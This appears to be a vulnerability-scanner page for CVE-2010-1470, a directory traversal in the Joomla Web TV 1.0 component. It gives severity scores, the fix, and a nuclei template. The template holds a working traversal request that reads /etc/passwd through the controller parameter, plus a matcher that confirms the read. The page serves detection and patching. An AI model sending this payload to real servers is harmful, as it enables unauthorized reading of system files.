Joomla! Component Web TV 1.0 - Local File Inclusion

highseverity

7.5CVSS score

13.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Web TV (com_webtv) component 1.0 for Joomla! allows remote attackers to read arbitrary files and have possibly other unspecified impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1470 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1470

info:
  name: Joomla! Component Web TV 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Web TV (com_webtv) component 1.0 for Joomla! allows remote attackers to read arbitrary files and have possibly other unspecified impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12166
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1470
    - http://www.exploit-db.com/exploits/12166
    - http://www.vupen.com/english/advisories/2010/0858
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1470
    cwe-id: CWE-22
    epss-score: 0.13351
    epss-percentile: 0.96443
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_webtv:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_webtv
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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